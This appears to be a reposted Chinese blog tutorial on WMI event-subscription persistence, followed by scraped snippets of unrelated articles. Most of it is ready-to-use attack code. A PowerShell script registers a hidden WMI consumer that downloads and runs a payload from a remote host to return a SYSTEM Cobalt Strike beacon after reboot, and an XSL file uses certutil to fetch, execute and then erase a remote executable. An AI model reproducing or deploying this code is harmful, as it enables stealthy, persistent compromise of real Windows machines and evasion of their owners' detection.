权限维持-wmi事件

0x01 前言

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。

0x02 wmi常见使用

检索系统信息

检索系统已安装的软件

wmic product list brief |more

搜索系统运行服务

wmic service list brief |more

搜索启动程序

wmic startup list brief |more

搜索计算机域控制器

wmic ntdomain list brief

0x03 wmi事件利用达到cs的beacon上线

如下是 WMI-Persistence.ps1 脚本,代码非常简单,三个函数分别是 插入指定wmi事件,删除指定wmi事件,然后查询wmi事件,需要改的地方就一处,即加粗的远程payload地址,

当然,事件名也可以改成自己想要的,不过即使不改也没啥太大关系,一眼看不太出来

#

function Install-Persistence{

$Payload = "<strong>((new-object net.webclient).downloadstring(‘http://192.168.3.68:80/logo.gif‘))</strong>"
$EventFilterName = ‘Cleanup‘
$EventConsumerName = ‘DataCleanup‘
$finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"

# Create event filter
$EventFilterArgs = @{
    EventNamespace = ‘root/cimv2‘
    Name = $EventFilterName
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System‘ AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
    QueryLanguage = ‘WQL‘
}

$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

# Create CommandLineEventConsumer
$CommandLineConsumerArgs = @{
    Name = $EventConsumerName
    CommandLineTemplate = $finalPayload
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

# Create FilterToConsumerBinding
$FilterToConsumerArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

#Confirm the Event Filter was created
$EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = ‘$EventFilterName‘"
if ($EventCheck -ne $null) {
    Write-Host "Event Filter $EventFilterName successfully written to host"
}

#Confirm the Event Consumer was created
$ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = ‘$EventConsumerName‘"
if ($ConsumerCheck -ne $null) {
    Write-Host "Event Consumer $EventConsumerName successfully written to host"
}

#Confirm the FiltertoConsumer was created
$BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name=‘$EventFilterName‘"""
if ($BindingCheck -ne $null){
    Write-Host "Filter To Consumer Binding successfully written to host"
}
}

function Remove-Persistence{ $EventFilterName = ‘Cleanup‘ $EventConsumerName = ‘DataCleanup‘

# Clean up Code - Comment this code out when you are installing persistence otherwise it will

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = ‘$EventConsumerName‘"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = ‘$EventFilterName‘"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
}

function Check-WMI{ Write-Host "Showing All Root Event Filters"Get-WmiObject -Namespace root/subscription -Class __EventFilter

Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer

Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}

然后开始插入事件,一旦正常插入成功后,当目标再次重启系统,管理员[administrator]正常登录,稍等片刻[2016可能要稍微多等会儿]当系统在后台轮询到我们的payload事件后,便会被触发执行

PS > Import-Module .\WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

随之,system权限的beacon被正常弹回

0x04 配合certutil 达到自定义上线

我们还可以使用wmi的远程加载功能

wmi.xsl 实现的功能很明了,即 certutil下载者

<?xml version=``‘1.0‘``?>

<stylesheet

xmlns=``"http://www.w3.org/1999/XSL/Transform" xmlns:ms=``"urn:schemas-microsoft-com:xslt"

xmlns:user=``"placeholder"

version=``"1.0"``>

<output method=``"text"``/>

``<ms:script implements-prefix=``"user" language=``"JScript"``>

``<![CDATA[

``var r = ``new ActiveXObject(``"WScript.Shell"``).Run(``"cmd.exe /c certutil -urlcache -split -f <strong>http://*/load.jpg</strong> %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://*/load.jpg delete"``,0);

``]]> </ms:script>

</stylesheet>

修改WMI-Persistence.ps1 脚本,只需把payload部分换下就行,别的不需要动  

wmic os get /FORMAT:"http://192.168.3.68:80/wmi.xsl"

powershell -exec bypass

PS > Import-Module .\WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

PS > Remove-Persistence 用完以后务必要记得随手删掉

也可以达到自定义上线的目的。

原文地址:https://www.cnblogs.com/-qing-/p/10964486.html

时间: 2024-08-09 17:30:49

权限维持-wmi事件的相关文章

创建持久性WMI事件时0x8004100e错误处理

在做持久性WMI事件的测试中,反复删除WMI实例,后来遇到如下错误: Event filter with query "select * from DATABASE_MIRRORING_STATE_CHANGE" could not be reactivated in namespace "//./root/subscription" because of error 0x8004100e. Events cannot be delivered through th

SSIS常用的包—WMI数据读取任务和WMI事件监听任务

Windows Management Instrumentation (WMI)是Windows的最高机密之一,它允许你通过一个脚本界面来管理Windows平台.WMI数据读取任务通过WQL语言(WMA专用语言)来 接触管理服务器或者工作平台(例如查看系统日志).查询语句可以将结果输出到变量中.WMI数据读取任务可以完成下面的工作. 在事务日志中查询可能的错误信息 查询正在运行的应用程序 查询在包运行过程中有多少可用RAM 判断有多少可用的磁盘空间 在编辑界面中可以配置WMI数据读取任务,如图3

MSSQL/WMI/PowerShell结合篇(一)简介

本文主要介绍Windows的WMI与PowerShell实现实时告警,如若觉得麻烦,可用MSSQL的WMI alerts,相对更为简单. 为什么考虑MSSQL与WMI.PowerShell三者结合?它们可以做什么? WMI/PowerShell都是Windows的插件及功能,用它们来实现MSSQL监控.自动化作业等等,无疑是最简单方便的. 为什么不考虑用监控工具? 免费的工具不能满足需求,强大的工具(SCOM)太贵,中小公司很少考虑购买. 一.实时告警方式 何为实时告警?也就是一旦发现告警信息,

转--- 秒杀多线程第六篇 经典线程同步 事件Event

阅读本篇之前推荐阅读以下姊妹篇: <秒杀多线程第四篇 一个经典的多线程同步问题> <秒杀多线程第五篇 经典线程同步关键段CS> 上一篇中使用关键段来解决经典的多线程同步互斥问题,由于关键段的“线程所有权”特性所以关键段只能用于线程的互斥而不能用于同步.本篇介绍用事件Event来尝试解决这个线程同步问题. 首先介绍下如何使用事件.事件Event实际上是个内核对象,它的使用非常方便.下面列出一些常用的函数. 第一个 CreateEvent 函数功能:创建事件 函数原型: HANDLEC

windows多线程(七) 事件event

前面说的互斥量Mutex与关键段CriticalSection都不能实现线程的同步,只能实现互斥,接下来我们用时间event就可以实现线程的同步了,事件也是一个内核对象. 一.相关函数说明 (一) 创建事件 1.函数原型 HANDLE WINAPI CreateEventW( _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes, _In_ BOOL bManualReset, _In_ BOOL bInitialState, _In_opt_ LPC

秒杀多线程第六篇 经典线程同步 事件Event

阅读本篇之前推荐阅读以下姊妹篇: <秒杀多线程第四篇 一个经典的多线程同步问题> <秒杀多线程第五篇 经典线程同步关键段CS> 上一篇中使用关键段来解决经典的多线程同步互斥问题,由于关键段的"线程所有权"特性所以关键段只能用于线程的互斥而不能用于同步.本篇介绍用事件Event来尝试解决这个线程同步问题. 首先介绍下如何使用事件.事件Event实际上是个内核对象,它的使用非常方便.下面列出一些常用的函数. 第一个 CreateEvent 函数功能:创建事件 函数原

C#访问Win 32的一些尝试

使用C#调用Win 32 Api大部分情况下基本只涉及到参数类型的转变,但在遇到Win 32 Api返回LPVOID *lpBuff 时会遇到一些解析遍历难题.lpBuff为二维指针,*lpBuff是指向其内容的数组的首地址,在C/C++中可直接通过数组下标进行访问.但在C#中会有如下问题: 无法像C/C++那样进行结构体指针强制转变: 无法进行(*lpBuff)[0]这样的直接取值操作: 无法执行lptemp++这样的指针累加/累减遍历操作: 在相关文档中,可以看到C#使用IntPtr封装了指

第三篇——第二部分——第五文 配置SQL Server镜像——域环境SQL Server镜像日常维护

本文接上面两篇搭建镜像的文章: 第三篇--第二部分--第三文 配置SQL Server镜像--域环境:http://blog.csdn.net/dba_huangzj/article/details/28904503第三篇--第二部分--第四文 配置SQL Server镜像--非域环境:http://blog.csdn.net/dba_huangzj/article/details/27652857 在搭建的过程中,可能你会遇到比较多的问题,下面介绍一些常见的问题及解决方案,另外把主要精力放到对

解决hao123胁持chrome等浏览器主页问题

- 转自:http://xinghao.me/2016/03/01/2016-03-01-kill-hao123/ 首先检查了一下chrome的主页设置,发现没有问题,依然是原来的google.com. 然后到chrome的安装目录,直接双击打开chrome程序,没有问题. 然后检查快捷方式.因为我把chrome固定到任务栏上,一般使用的时候都是点击任务栏图标的,而实际上这只是一个快捷方式.右键任务栏chrome图标->右键Google Chrome->属性,就会弹出该快捷方式的属性窗口.发现